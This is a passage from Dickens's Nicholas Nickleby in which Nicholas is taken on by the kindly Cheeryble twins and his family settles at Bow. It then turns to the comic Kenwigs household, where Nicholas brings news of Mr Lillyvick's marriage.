eye,--never was such a clear, twinkling, honest, merry, +happy eye, as that. And there he stood, looking a little upward, +with one hand thrust into the breast of his coat, and the other +playing with his old-fashioned gold watch-chain: his head thrown a +little on one side, and his hat a little more on one side than his +head, (but that was evidently accident; not his ordinary way of +wearing it,) with such a pleasant smile playing about his mouth, and +such a comical expression of mingled slyness, simplicity, kind- +heartedness, and good-humour, lighting up his jolly old face, that +Nicholas would have been content to have stood there and looked at +him until evening, and to have forgotten, meanwhile, that there was +such a thing as a soured mind or a crabbed countenance to be met +with in the whole wide world. + +But, even a very remote approach to this gratification was not to be +made, for although he seemed quite unconscious of having been the +subject of observation, he looked casually at Nicholas; and the +latter, fearful of giving offence, resumed his scrutiny of the +window instantly. + +Still, the old gentleman stood there, glancing from placard to +placard, and Nicholas could not forbear raising his eyes to his face +again. Grafted upon the quaintness and oddity of his appearance, +was something so indescribably engaging, and bespeaking so much +worth, and there were so many little lights hovering about the +corners of his mouth and eyes, that it was not a mere amusement, but +a positive pleasure and delight to look at him. + +This being the case, it is no wonder that the old man caught +Nicholas in the fact, more than once. At such times, Nicholas +coloured and looked embarrassed: for the truth is, that he had begun +to wonder whether the stranger could, by any possibility, be looking +for a clerk or secretary; and thinking this, he felt as if the old +gentleman must know it. + +Long as all this takes to tell, it was not more than a couple of +minutes in passing. As the stranger was moving away, Nicholas +caught his eye again, and, in the awkwardness of the moment, +stammered out an apology. + +'No offence. Oh no offence!' said the old man. + +This was said in such a hearty tone, and the voice was so exactly +what it should have been from such a speaker, and there was such a +cordiality in the manner, that Nicholas was emboldened to speak +again. + +'A great many opportunities here, sir,' he said, half smiling as he +motioned towards the window. + +'A great many people willing and anxious to be employed have +seriously thought so very often, I dare say,' replied the old man. +'Poor fellows, poor fellows!' + +He moved away as he said this; but seeing that Nicholas was about to +speak, good-naturedly slackened his pace, as if he were unwilling to +cut him short. After a little of that hesitation which may be +sometimes observed between two people in the street who have +exchanged a nod, and are both uncertain whether they shall turn back +and speak, or not, Nicholas found himself at the old man's side. + +'You were about to speak, young gentleman; what were you going to +say?' + +'Merely that I almost hoped--I mean to say, thought--you had some +object in consulting those advertisements,' said Nicholas. + +'Ay, ay? what object now--what object?' returned the old man, +looking slyly at Nicholas. 'Did you think I wanted a situation now +--eh? Did you think I did?' + +Nicholas shook his head. + +'Ha! ha!' laughed the old gentleman, rubbing his hands and wrists as +if he were washing them. 'A very natural thought, at all events, +after seeing me gazing at those bills. I thought the same of you, +at first; upon my word I did.' + +'If you had thought so at last, too, sir, you would not have been +far from the truth,' rejoined Nicholas. + +'Eh?' cried the old man, surveying him from head to foot. 'What! +Dear me! No, no. Well-behaved young gentleman reduced to such a +necessity! No no, no no.' + +Nicholas bowed, and bidding him good-morning, turned upon his heel. + +'Stay,' said the old man, beckoning him into a bye street, where they +could converse with less interruption. 'What d'ye mean, eh?' + +'Merely that your kind face and manner--both so unlike any I have +ever seen--tempted me into an avowal, which, to any other stranger +in this wilderness of London, I should not have dreamt of making,' +returned Nicholas. + +'Wilderness! Yes, it is, it is. Good! It IS a wilderness,' said +the old man with much animation. 'It was a wilderness to me once. +I came here barefoot. I have never forgotten it. Thank God!' and he +raised his hat from his head, and looked very grave. + +'What's the matter? What is it? How did it all come about?' said the +old man, laying his hand on the shoulder of Nicholas, and walking +him up the street. 'You're--Eh?' laying his finger on the sleeve of +his black coat. 'Who's it for, eh?' + +'My father,' replied Nicholas. + +'Ah!' said the old gentleman quickly. 'Bad thing for a young man to +lose his father. Widowed mother, perhaps?' + +Nicholas sighed. + +'Brothers and sisters too? Eh?' + +'One sister,' rejoined Nicholas. + +'Poor thing, poor thing! You are a scholar too, I dare say?' said +the old man, looking wistfully into the face of the young one. + +'I have been tolerably well educated,' said Nicholas. + +'Fine thing,' said the old gentleman, 'education a great thing: a +very great thing! I never had any. I admire it the more in others. +A very fine thing. Yes, yes. Tell me more of your history. Let me +hear it all. No impertinent curiosity--no, no, no.' + +There was something so earnest and guileless in the way in which all +this was said, and such a complete disregard of all conventional +restraints and coldnesses, that Nicholas could not resist it. Among +men who have any sound and sterling qualities, there is nothing so +contagious as pure openness of heart. Nicholas took the infection +instantly, and ran over the main points of his little history +without reserve: merely suppressing names, and touching as lightly +as possible upon his uncle's treatment of Kate. The old man +listened with great attention, and when he had concluded, drew his +arm eagerly through his own. + +'Don't say another word. Not another word' said he. 'Come along +with me. We mustn't lose a minute.' + +So saying, the old gentleman dragged him back into Oxford Street, +and hailing an omnibus on its way to the city, pushed Nicholas in +before him, and followed himself. + +As he appeared in a most extraordinary condition of restless +excitement, and whenever Nicholas offered to speak, immediately +interposed with: 'Don't say another word, my dear sir, on any +account--not another word,' the young man thought it better to +attempt no further interruption. Into the city they journeyed +accordingly, without interchanging any conversation; and the farther +they went, the more Nicholas wondered what the end of the adventure +could possibly be. + +The old gentleman got out, with great alacrity, when they reached +the Bank, and once more taking Nicholas by the arm, hurried him +along Threadneedle Street, and through some lanes and passages on +the right, until they, at length, emerged in a quiet shady little +square. Into the oldest and cleanest-looking house of business in +the square, he led the way. The only inscription on the door-post +was 'Cheeryble, Brothers;' but from a hasty glance at the directions +of some packages which were lying about, Nicholas supposed that the +brothers Cheeryble were German merchants. + +Passing through a warehouse which presented every indication of a +thriving business, Mr Cheeryble (for such Nicholas supposed him to +be, from the respect which had been shown him by the warehousemen +and porters whom they passed) led him into a little partitioned-off +counting-house like a large glass case, in which counting-house +there sat--as free from dust and blemish as if he had been fixed +into the glass case before the top was put on, and had never come +out since--a fat, elderly, large-faced clerk, with silver spectacles +and a powdered head. + +'Is my brother in his room, Tim?' said Mr Cheeryble, with no less +kindness of manner than he had shown to Nicholas. + +'Yes, he is, sir,' replied the fat clerk, turning his spectacle- +glasses towards his principal, and his eyes towards Nicholas, 'but +Mr Trimmers is with him.' + +'Ay! And what has he come about, Tim?' said Mr Cheeryble. + +'He is getting up a subscription for the widow and family of a man +who was killed in the East India Docks this morning, sir,' rejoined +Tim. 'Smashed, sir, by a cask of sugar.' + +'He is a good creature,' said Mr Cheeryble, with great earnestness. +'He is a kind soul. I am very much obliged to Trimmers. Trimmers +is one of the best friends we have. He makes a thousand cases known +to us that we should never discover of ourselves. I am VERY much +obliged to Trimmers.' Saying which, Mr Cheeryble rubbed his hands +with infinite delight, and Mr Trimmers happening to pass the door +that instant, on his way out, shot out after him and caught him by +the hand. + +'I owe you a thousand thanks, Trimmers, ten thousand thanks. I take +it very friendly of you, very friendly indeed,' said Mr Cheeryble, +dragging him into a corner to get out of hearing. 'How many +children are there, and what has my brother Ned given, Trimmers?' + +'There are six children,' replied the gentleman, 'and your brother +has given us twenty pounds.' + +'My brother Ned is a good fellow, and you're a good fellow too, +Trimmers,' said the old man, shaking him by both hands with +trembling eagerness. 'Put me down for another twenty--or--stop a +minute, stop a minute. We mustn't look ostentatious; put me down +ten pound, and Tim Linkinwater ten pound. A cheque for twenty pound +for Mr Trimmers, Tim. God bless you, Trimmers--and come and dine +with us some day this week; you'll always find a knife and fork, and +we shall be delighted. Now, my dear sir--cheque from Mr +Linkinwater, Tim. Smashed by a cask of sugar, and six poor +children--oh dear, dear, dear!' + +Talking on in this strain, as fast as he could, to prevent any +friendly remonstrances from the collector of the subscription on the +large amount of his donation, Mr Cheeryble led Nicholas, equally +astonished and affected by what he had seen and heard in this short +space, to the half-opened door of another room. + +'Brother Ned,' said Mr Cheeryble, tapping with his knuckles, and +stooping to listen, 'are you busy, my dear brother, or can you spare +time for a word or two with me?' + +'Brother Charles, my dear fellow,' replied a voice from the inside, +so like in its tones to that which had just spoken, that Nicholas +started, and almost thought it was the same, 'don't ask me such a +question, but come in directly.' + +They went in, without further parley. What was the amazement of +Nicholas when his conductor advanced, and exchanged a warm greeting +with another old gentleman, the very type and model of himself--the +same face, the same figure, the same coat, waistcoat, and neckcloth, +the same breeches and gaiters--nay, there was the very same white +hat hanging against the wall! + +As they shook each other by the hand: the face of each lighted up by +beaming looks of affection, which would have been most delightful to +behold in infants, and which, in men so old, was inexpressibly +touching: Nicholas could observe that the last old gentleman was +something stouter than his brother; this, and a slight additional +shade of clumsiness in his gait and stature, formed the only +perceptible difference between them. Nobody could have doubted +their being twin brothers. + +'Brother Ned,' said Nicholas's friend, closing the room-door, 'here +is a young friend of mine whom we must assist. We must make proper +inquiries into his statements, in justice to him as well as to +ourselves, and if they are confirmed--as I feel assured they will +be--we must assist him, we must assist him, brother Ned.' + +'It is enough, my dear brother, that you say we should,' returned +the other. 'When you say that, no further inquiries are needed. He +SHALL be assisted. What are his necessities, and what does he +require? Where is Tim Linkinwater? Let us have him here.' + +Both the brothers, it may be here remarked, had a very emphatic and +earnest delivery; both had lost nearly the same teeth, which +imparted the same peculiarity to their speech; and both spoke as if, +besides possessing the utmost serenity of mind that the kindliest +and most unsuspecting nature could bestow, they had, in collecting +the plums from Fortune's choicest pudding, retained a few for +present use, and kept them in their mouths. + +'Where is Tim Linkinwater?' said brother Ned. + +'Stop, stop, stop!' said brother Charles, taking the other aside. +'I've a plan, my dear brother, I've a plan. Tim is getting old, and +Tim has been a faithful servant, brother Ned; and I don't think +pensioning Tim's mother and sister, and buying a little tomb for the +family when his poor brother died, was a sufficient recompense for +his faithful services.' + +'No, no, no,' replied the other. 'Certainly not. Not half enough, +not half.' + +'If we could lighten Tim's duties,' said the old gentleman, 'and +prevail upon him to go into the country, now and then, and sleep in +the fresh air, besides, two or three times a week (which he could, +if he began business an hour later in the morning), old Tim +Linkinwater would grow young again in time; and he's three good +years our senior now. Old Tim Linkinwater young again! Eh, brother +Ned, eh? Why, I recollect old Tim Linkinwater quite a little boy, +don't you? Ha, ha, ha! Poor Tim, poor Tim!' + +And the fine old fellows laughed pleasantly together: each with a +tear of regard for old Tim Linkinwater standing in his eye. + +'But hear this first--hear this first, brother Ned,' said the old +man, hastily, placing two chairs, one on each side of Nicholas: +'I'll tell it you myself, brother Ned, because the young gentleman +is modest, and is a scholar, Ned, and I shouldn't feel it right that +he should tell us his story over and over again as if he was a +beggar, or as if we doubted him. No, no no.' + +'No, no, no,' returned the other, nodding his head gravely. 'Very +right, my dear brother, very right.' + +'He will tell me I'm wrong, if I make a mistake,' said Nicholas's +friend. 'But whether I do or not, you'll be very much affected, +brother Ned, remembering the time when we were two friendless lads, +and earned our first shilling in this great city.' + +The twins pressed each other's hands in silence; and in his own +homely manner, brother Charles related the particulars he had heard +from Nicholas. The conversation which ensued was a long one, and +when it was over, a secret conference of almost equal duration took +place between brother Ned and Tim Linkinwater in another room. It +is no disparagement to Nicholas to say, that before he had been +closeted with the two brothers ten minutes, he could only wave his +hand at every fresh expression of kindness and sympathy, and sob +like a little child. + +At length brother Ned and Tim Linkinwater came back together, when +Tim instantly walked up to Nicholas and whispered in his ear in a +very brief sentence (for Tim was ordinarily a man of few words), +that he had taken down the address in the Strand, and would call +upon him that evening, at eight. Having done which, Tim wiped his +spectacles and put them on, preparatory to hearing what more the +brothers Cheeryble had got to say. + +'Tim,' said brother Charles, 'you understand that we have an +intention of taking this young gentleman into the counting-house?' + +Brother Ned remarked that Tim was aware of that intention, and quite +approved of it; and Tim having nodded, and said he did, drew himself +up and looked particularly fat, and very important. After which, +there was a profound silence. + +'I'm not coming an hour later in the morning, you know,' said Tim, +breaking out all at once, and looking very resolute. 'I'm not going +to sleep in the fresh air; no, nor I'm not going into the country +either. A pretty thing at this time of day, certainly. Pho!' + +'Damn your obstinacy, Tim Linkinwater,' said brother Charles, +looking at him without the faintest spark of anger, and with a +countenance radiant with attachment to the old clerk. 'Damn your +obstinacy, Tim Linkinwater, what do you mean, sir?' + +'It's forty-four year,' said Tim, making a calculation in the air +with his pen, and drawing an imaginary line before he cast it up, +'forty-four year, next May, since I first kept the books of +Cheeryble, Brothers. I've opened the safe every morning all that +time (Sundays excepted) as the clock struck nine, and gone over the +house every night at half-past ten (except on Foreign Post nights, +and then twenty minutes before twelve) to see the doors fastened, +and the fires out. I've never slept out of the back-attic one +single night. There's the same mignonette box in the middle of the +window, and the same four flower-pots, two on each side, that I +brought with me when I first came. There an't--I've said it again +and again, and I'll maintain it--there an't such a square as this in +the world. I KNOW there an't,' said Tim, with sudden energy, and +looking sternly about him. 'Not one. For business or pleasure, in +summer-time or winter--I don't care which--there's nothing like it. +There's not such a spring in England as the pump under the archway. +There's not such a view in England as the view out of my window; +I've seen it every morning before I shaved, and I ought to know +something about it. I have slept in that room,' added Tim, sinking +his voice a little, 'for four-and-forty year; and if it wasn't +inconvenient, and didn't interfere with business, I should request +leave to die there.' + +'Damn you, Tim Linkinwater, how dare you talk about dying?' roared +the twins by one impulse, and blowing their old noses violently. + +'That's what I've got to say, Mr Edwin and Mr Charles,' said Tim, +squaring his shoulders again. 'This isn't the first time you've +talked about superannuating me; but, if you please, we'll make it +the last, and drop the subject for evermore.' + +With these words, Tim Linkinwater stalked out, and shut himself up +in his glass case, with the air of a man who had had his say, and +was thoroughly resolved not to be put down. + +The brothers interchanged looks, and coughed some half-dozen times +without speaking. + +'He must be done something with, brother Ned,' said the other, +warmly; 'we must disregard his old scruples; they can't be +tolerated, or borne. He must be made a partner, brother Ned; and if +he won't submit to it peaceably, we must have recourse to violence.' + +'Quite right,' replied brother Ned, nodding his head as a man +thoroughly determined; 'quite right, my dear brother. If he won't +listen to reason, we must do it against his will, and show him that +we are determined to exert our authority. We must quarrel with him, +brother Charles.' + +'We must. We certainly must have a quarrel with Tim Linkinwater,' +said the other. 'But in the meantime, my dear brother, we are +keeping our young friend; and the poor lady and her daughter will be +anxious for his return. So let us say goodbye for the present, and +--there, there--take care of that box, my dear sir--and--no, no, not +a word now; but be careful of the crossings and--' + +And with any disjointed and unconnected words which would prevent +Nicholas from pouring forth his thanks, the brothers hurried him +out: shaking hands with him all the way, and affecting very +unsuccessfully--they were poor hands at deception!--to be wholly +unconscious of the feelings that completely mastered him. + +Nicholas's heart was too full to allow of his turning into the +street until he had recovered some composure. When he at last +glided out of the dark doorway corner in which he had been compelled +to halt, he caught a glimpse of the twins stealthily peeping in at +one corner of the glass case, evidently undecided whether they +should follow up their late attack without delay, or for the present +postpone laying further siege to the inflexible Tim Linkinwater. + +To recount all the delight and wonder which the circumstances just +detailed awakened at Miss La Creevy's, and all the things that were +done, said, thought, expected, hoped, and prophesied in consequence, +is beside the present course and purpose of these adventures. It is +sufficient to state, in brief, that Mr Timothy Linkinwater arrived, +punctual to his appointment; that, oddity as he was, and jealous, as +he was bound to be, of the proper exercise of his employers' most +comprehensive liberality, he reported strongly and warmly in favour +of Nicholas; and that, next day, he was appointed to the vacant +stool in the counting-house of Cheeryble, Brothers, with a present +salary of one hundred and twenty pounds a year. + +'And I think, my dear brother,' said Nicholas's first friend, 'that +if we were to let them that little cottage at Bow which is empty, at +something under the usual rent, now? Eh, brother Ned?' + +'For nothing at all,' said brother Ned. 'We are rich, and should be +ashamed to touch the rent under such circumstances as these. Where +is Tim Linkinwater?--for nothing at all, my dear brother, for +nothing at all.' + +'Perhaps it would be better to say something, brother Ned,' +suggested the other, mildly; 'it would help to preserve habits of +frugality, you know, and remove any painful sense of overwhelming +obligations. We might say fifteen pound, or twenty pound, and if it +was punctually paid, make it up to them in some other way. And I +might secretly advance a small loan towards a little furniture, and +you might secretly advance another small loan, brother Ned; and if +we find them doing well--as we shall; there's no fear, no fear--we +can change the loans into gifts. Carefully, brother Ned, and by +degrees, and without pressing upon them too much; what do you say +now, brother?' + +Brother Ned gave his hand upon it, and not only said it should be +done, but had it done too; and, in one short week, Nicholas took +possession of the stool, and Mrs Nickleby and Kate took possession +of the house, and all was hope, bustle, and light-heartedness. + +There surely never was such a week of discoveries and surprises as +the first week of that cottage. Every night when Nicholas came +home, something new had been found out. One day it was a grapevine, +and another day it was a boiler, and another day it was the key of +the front-parlour closet at the bottom of the water-butt, and so on +through a hundred items. Then, this room was embellished with a +muslin curtain, and that room was rendered quite elegant by a +window-blind, and such improvements were made, as no one would have +supposed possible. Then there was Miss La Creevy, who had come out +in the omnibus to stop a day or two and help, and who was +perpetually losing a very small brown-paper parcel of tin tacks and +a very large hammer, and running about with her sleeves tucked up at +the wrists, and falling off pairs of steps and hurting herself very +much--and Mrs Nickleby, who talked incessantly, and did something +now and then, but not often--and Kate, who busied herself +noiselessly everywhere, and was pleased with everything--and Smike, +who made the garden a perfect wonder to look upon--and Nicholas, who +helped and encouraged them every one--all the peace and cheerfulness +of home restored, with such new zest imparted to every frugal +pleasure, and such delight to every hour of meeting, as misfortune +and separation alone could give! + +In short, the poor Nicklebys were social and happy; while the rich +Nickleby was alone and miserable. + + + +CHAPTER 36 + +Private and confidential; relating to Family Matters. Showing how +Mr Kenwigs underwent violent Agitation, and how Mrs Kenwigs was as +well as could be expected + + +It might have been seven o'clock in the evening, and it was growing +dark in the narrow streets near Golden Square, when Mr Kenwigs sent +out for a pair of the cheapest white kid gloves--those at fourteen- +pence--and selecting the strongest, which happened to be the right- +hand one, walked downstairs with an air of pomp and much excitement, +and proceeded to muffle the knob of the street-door knocker therein. +Having executed this task with great nicety, Mr Kenwigs pulled the +door to, after him, and just stepped across the road to try the +effect from the opposite side of the street. Satisfied that nothing +could possibly look better in its way, Mr Kenwigs then stepped back +again, and calling through the keyhole to Morleena to open the door, +vanished into the house, and was seen no longer. + +Now, considered as an abstract circumstance, there was no more +obvious cause or reason why Mr Kenwigs should take the trouble of +muffling this particular knocker, than there would have been for his +muffling the knocker of any nobleman or gentleman resident ten miles +off; because, for the greater convenience of the numerous lodgers, +the street-door always stood wide open, and the knocker was never +used at all. The first floor, the second floor, and the third +floor, had each a bell of its own. As to the attics, no one ever +called on them; if anybody wanted the parlours, they were close at +hand, and all he had to do was to walk straight into them; while the +kitchen had a separate entrance down the area steps. As a question +of mere necessity and usefulness, therefore, this muffling of the +knocker was thoroughly incomprehensible. + +But knockers may be muffled for other purposes than those of mere +utilitarianism, as, in the present instance, was clearly shown. +There are certain polite forms and ceremonies which must be observed +in civilised life, or mankind relapse into their original barbarism. +No genteel lady was ever yet confined--indeed, no genteel +confinement can possibly take place--without the accompanying symbol +of a muffled knocker. Mrs Kenwigs was a lady of some pretensions to +gentility; Mrs Kenwigs was confined. And, therefore, Mr Kenwigs +tied up the silent knocker on the premises in a white kid glove. + +'I'm not quite certain neither,' said Mr Kenwigs, arranging his +shirt-collar, and walking slowly upstairs, 'whether, as it's a boy, +I won't have it in the papers.' + +Pondering upon the advisability of this step, and the sensation it +was likely to create in the neighbourhood, Mr Kenwigs betook himself +to the sitting-room, where various extremely diminutive articles of +clothing were airing on a horse before the fire, and Mr Lumbey, the +doctor, was dandling the baby--that is, the old baby--not the new +one. + +'It's a fine boy, Mr Kenwigs,' said Mr Lumbey, the doctor. + +'You consider him a fine boy, do you, sir?' returned Mr Kenwigs. + +'It's the finest boy I ever saw in all my life,' said the doctor. +'I never saw such a baby.' + +It is a pleasant thing to reflect upon, and furnishes a complete +answer to those who contend for the gradual degeneration of the +human species, that every baby born into the world is a finer one +than the last. + +'I ne--ver saw such a baby,' said Mr Lumbey, the doctor. + +'Morleena was a fine baby,' remarked Mr Kenwigs; as if this were +rather an attack, by implication, upon the family. + +'They were all fine babies,' said Mr Lumbey. And Mr Lumbey went on +nursing the baby with a thoughtful look. Whether he was considering +under what head he could best charge the nursing in the bill, was +best known to himself. + +During this short conversation, Miss Morleena, as the eldest of the +family, and natural representative of her mother during her +indisposition, had been hustling and slapping the three younger Miss +Kenwigses, without intermission; which considerate and affectionate +conduct brought tears into the eyes of Mr Kenwigs, and caused him to +declare that, in understanding and behaviour, that child was a +woman. + +'She will be a treasure to the man she marries, sir,' said Mr +Kenwigs, half aside; 'I think she'll marry above her station, Mr +Lumbey.' + +'I shouldn't wonder at all,' replied the doctor. + +'You never see her dance, sir, did you?' asked Mr Kenwigs. + +The doctor shook his head. + +'Ay!' said Mr Kenwigs, as though he pitied him from his heart, 'then +you don't know what she's capable of.' + +All this time there had been a great whisking in and out of the +other room; the door had been opened and shut very softly about +twenty times a minute (for it was necessary to keep Mrs Kenwigs +quiet); and the baby had been exhibited to a score or two of +deputations from a select body of female friends, who had assembled +in the passage, and about the street-door, to discuss the event in +all its bearings. Indeed, the excitement extended itself over the +whole street, and groups of ladies might be seen standing at the +doors, (some in the interesting condition in which Mrs Kenwigs had +last appeared in public,) relating their experiences of similar +occurrences. Some few acquired great credit from having prophesied, +the day before yesterday, exactly when it would come to pass; +others, again, related, how that they guessed what it was, directly +they saw Mr Kenwigs turn pale and run up the street as hard as ever +he could go. Some said one thing, and some another; but all talked +together, and all agreed upon two points: first, that it was very +meritorious and highly praiseworthy in Mrs Kenwigs to do as she had +done: and secondly, that there never was such a skilful and +scientific doctor as that Dr Lumbey. + +In the midst of this general hubbub, Dr Lumbey sat in the first- +floor front, as before related, nursing the deposed baby, and +talking to Mr Kenwigs. He was a stout bluff-looking gentleman, with +no shirt-collar to speak of, and a beard that had been growing since +yesterday morning; for Dr Lumbey was popular, and the neighbourhood +was prolific; and there had been no less than three other knockers +muffled, one after the other within the last forty-eight hours. + +'Well, Mr Kenwigs,' said Dr Lumbey, 'this makes six. You'll have a +fine family in time, sir.' + +'I think six is almost enough, sir,' returned Mr Kenwigs. + +'Pooh! pooh!' said the doctor. 'Nonsense! not half enough.' + +With this, the doctor laughed; but he didn't laugh half as much as a +married friend of Mrs Kenwigs's, who had just come in from the sick +chamber to report progress, and take a small sip of brandy-and- +water: and who seemed to consider it one of the best jokes ever +launched upon society. + +'They're not altogether dependent upon good fortune, neither,' said +Mr Kenwigs, taking his second daughter on his knee; 'they have +expectations.' + +'Oh, indeed!' said Mr Lumbey, the doctor. + +'And very good ones too, I believe, haven't they?' asked the married +lady. + +'Why, ma'am,' said Mr Kenwigs, 'it's not exactly for me to say what +they may be, or what they may not be. It's not for me to boast of +any family with which I have the honour to be connected; at the same +time, Mrs Kenwigs's is--I should say,' said Mr Kenwigs, abruptly, +and raising his voice as he spoke, 'that my children might come into +a matter of a hundred pound apiece, perhaps. Perhaps more, but +certainly that.' + +'And a very pretty little fortune,' said the married lady. + +'There are some relations of Mrs Kenwigs's,' said Mr Kenwigs, taking +a pinch of snuff from the doctor's box, and then sneezing very hard, +for he wasn't used to it, 'that might leave their hundred pound +apiece to ten people, and yet not go begging when they had done it.' + +'Ah! I know who you mean,' observed the married lady, nodding her +head. + +'I made mention of no names, and I wish to make mention of no +names,' said Mr Kenwigs, with a portentous look. 'Many of my +friends have met a relation of Mrs Kenwigs's in this very room, as +would do honour to any company; that's all.' + +'I've met him,' said the married lady, with a glance towards Dr +Lumbey. + +'It's naterally very gratifying to my feelings as a father, to see +such a man as that, a kissing and taking notice of my children,' +pursued Mr Kenwigs. 'It's naterally very gratifying to my feelings +as a man, to know that man. It will be naterally very gratifying to +my feelings as a husband, to make that man acquainted with this +ewent.' + +Having delivered his sentiments in this form of words, Mr Kenwigs +arranged his second daughter's flaxen tail, and bade her be a good +girl and mind what her sister, Morleena, said. + +'That girl grows more like her mother every day,' said Mr Lumbey, +suddenly stricken with an enthusiastic admiration of Morleena. + +'There!' rejoined the married lady. 'What I always say; what I +always did say! She's the very picter of her.' Having thus directed +the general attention to the young lady in question, the married +lady embraced the opportunity of taking another sip of the brandy- +and-water--and a pretty long sip too. + +'Yes! there is a likeness,' said Mr Kenwigs, after some reflection. +'But such a woman as Mrs Kenwigs was, afore she was married! Good +gracious, such a woman!' + +Mr Lumbey shook his head with great solemnity, as though to imply +that he supposed she must have been rather a dazzler. + +'Talk of fairies!' cried Mr Kenwigs 'I never see anybody so light to +be alive, never. Such manners too; so playful, and yet so sewerely +proper! As for her figure! It isn't generally known,' said Mr +Kenwigs, dropping his voice; 'but her figure was such, at that time, +that the sign of the Britannia, over in the Holloway Road, was +painted from it!' + +'But only see what it is now,' urged the married lady. 'Does SHE +look like the mother of six?' + +'Quite ridiculous,' cried the doctor. + +'She looks a deal more like her own daughter,' said the married +lady. + +'So she does,' assented Mr Lumbey. 'A great deal more.' + +Mr Kenwigs was about to make some further observations, most +probably in confirmation of this opinion, when another married lady, +who had looked in to keep up Mrs Kenwigs's spirits, and help to +clear off anything in the eating and drinking way that might be +going about, put in her head to announce that she had just been down +to answer the bell, and that there was a gentleman at the door who +wanted to see Mr Kenwigs 'most particular.' + +Shadowy visions of his distinguished relation flitted through the +brain of Mr Kenwigs, as this message was delivered; and under their +influence, he dispatched Morleena to show the gentleman up +straightway. + +'Why, I do declare,' said Mr Kenwigs, standing opposite the door so +as to get the earliest glimpse of the visitor, as he came upstairs, +'it's Mr Johnson! How do you find yourself, sir?' + +Nicholas shook hands, kissed his old pupils all round, intrusted a +large parcel of toys to the guardianship of Morleena, bowed to the +doctor and the married ladies, and inquired after Mrs Kenwigs in a +tone of interest, which went to the very heart and soul of the +nurse, who had come in to warm some mysterious compound, in a little +saucepan over the fire. + +'I ought to make a hundred apologies to you for calling at such a +season,' said Nicholas, 'but I was not aware of it until I had rung +the bell, and my time is so fully occupied now, that I feared it +might be some days before I could possibly come again.' + +'No time like the present, sir,' said Mr Kenwigs. 'The sitiwation +of Mrs Kenwigs, sir, is no obstacle to a little conversation between +you and me, I hope?' + +'You are very good,' said Nicholas. + +At this juncture, proclamation was made by another married lady, +that the baby had begun to eat like anything; whereupon the two +married ladies, already mentioned, rushed tumultuously into the +bedroom to behold him in the act. + +'The fact is,' resumed Nicholas, 'that before I left the country, +where I have been for some time past, I undertook to deliver a +message to you.' + +'Ay, ay?' said Mr Kenwigs. + +'And I have been,' added Nicholas, 'already in town for some days, +without having had an opportunity of doing so.' + +'It's no matter, sir,' said Mr Kenwigs. 'I dare say it's none the +worse for keeping cold. Message from the country!' said Mr Kenwigs, +ruminating; 'that's curious. I don't know anybody in the country.' + +'Miss Petowker,' suggested Nicholas. + +'Oh! from her, is it?' said Mr Kenwigs. 'Oh dear, yes. Ah! Mrs +Kenwigs will be glad to hear from her. Henrietta Petowker, eh? How +odd things come about, now! That you should have met her in the +country! Well!' + +Hearing this mention of their old friend's name, the four Miss +Kenwigses gathered round Nicholas, open eyed and mouthed, to hear +more. Mr Kenwigs looked a little curious too, but quite comfortable +and unsuspecting. + +'The message relates to family matters,' said Nicholas, hesitating. + +'Oh, never mind,' said Kenwigs, glancing at Mr Lumbey, who, having +rashly taken charge of little Lillyvick, found nobody disposed to +relieve him of his precious burden. 'All friends here.' + +Nicholas hemmed once or twice, and seemed to have some difficulty in +proceeding. + +'At Portsmouth, Henrietta Petowker is,' observed Mr Kenwigs. + +'Yes,' said Nicholas, 'Mr Lillyvick is there.' + +Mr Kenwigs turned pale, but he recovered, and said, THAT was an odd +coincidence also. + +'The message is from him,' said Nicholas. + +Mr Kenwigs appeared to revive. He knew that his niece was in a +delicate state, and had, no doubt, sent word that they were to +forward full particulars. Yes. That was very kind of him; so like +him too! + +'He desired me to give his kindest love,' said Nicholas. + +'Very much obliged to him, I'm sure. Your great-uncle, Lillyvick, +my dears!' interposed Mr Kenwigs, condescendingly explaining it to +the children. + +'His kindest love,' resumed Nicholas; 'and to say that he had no +time to write, but that he was married to Miss Petowker.' + +Mr Kenwigs started from his seat with a petrified stare, caught his +second daughter by her flaxen tail, and covered his face with his +pocket-handkerchief. Morleena fell, all stiff and rigid, into the +baby's chair, as she had seen her mother fall when she fainted away, +and the two remaining little Kenwigses shrieked in affright. + +'My children, my defrauded, swindled infants!' cried Mr Kenwigs, +pulling so hard, in his vehemence, at the flaxen tail of his second +daughter, that he lifted her up on tiptoe, and kept her, for some +seconds, in that attitude. 'Villain, ass, traitor!' + +'Drat the man!' cried the nurse, looking angrily around. 'What does +he mean by making that noise here?' + +'Silence, woman!' said Mr Kenwigs, fiercely. + +'I won't be silent,' returned the nurse. 'Be silent yourself, you +wretch. Have you no regard for your baby?' + +'No!' returned Mr Kenwigs. + +'More shame for you,' retorted the nurse. 'Ugh! you unnatural +monster.' + +'Let him die,' cried Mr Kenwigs, in the torrent of his wrath. 'Let +him die! He has no expectations, no property to come into. We want +no babies here,' said Mr Kenwigs recklessly. 'Take 'em away, take +'em away to the Fondling!' + +With these awful remarks, Mr Kenwigs sat himself down in a chair, +and defied the nurse, who made the best of her way into the +adjoining room, and returned with a stream of matrons: declaring +that Mr Kenwigs had spoken blasphemy against his family, and must be +raving mad. + +Appearances were certainly not in Mr Kenwigs's favour, for the +exertion of speaking with so much vehemence, and yet in such a tone +as should prevent his lamentations reaching the ears of Mrs Kenwigs, +had made him very black in the face; besides which, the excitement +of the occasion, and an unwonted indulgence in various strong +cordials to celebrate it, had swollen and dilated his features to a +most unusual extent. But, Nicholas and the doctor--who had been +passive at first, doubting very much whether Mr Kenwigs could be in +earnest--interfering to explain the immediate cause of his +condition, the indignation of the matrons was changed to pity, and +they implored him, with much feeling, to go quietly to bed. + +'The attention,' said Mr Kenwigs, looking around with a plaintive +air, 'the attention that I've shown to that man! The hyseters he +has eat, and the pints of ale he has drank, in this house--!' + +'It's very trying, and very hard to bear, we know,' said one of the +married ladies; 'but think of your dear darling wife.' + +'Oh yes, and what she's been a undergoing of, only this day,' +cried a great many voices. 'There's a good man, do.' + +'The presents that have been made to him,' said Mr Kenwigs, +reverting to his calamity, 'the pipes, the snuff-boxes--a pair of +india-rubber goloshes, that cost six-and-six--' + +'Ah! it won't bear thinking of, indeed,' cried the matrons +generally; 'but it'll all come home to him, never fear.' + +Mr Kenwigs looked darkly upon the ladies, as if he would prefer its +all coming home to HIM, as there was nothing to be got by it; but he +said nothing, and resting his head upon his hand, subsided into a +kind of doze. + +Then, the matrons again expatiated on the expediency of taking the +good gentleman to bed; observing that he would be better tomorrow, +and that they knew what was the wear and tear of some men's minds +when their wives were taken as Mrs Kenwigs had been that day, and +that it did him great credit, and there was nothing to be ashamed of +in it; far from it; they liked to see it, they 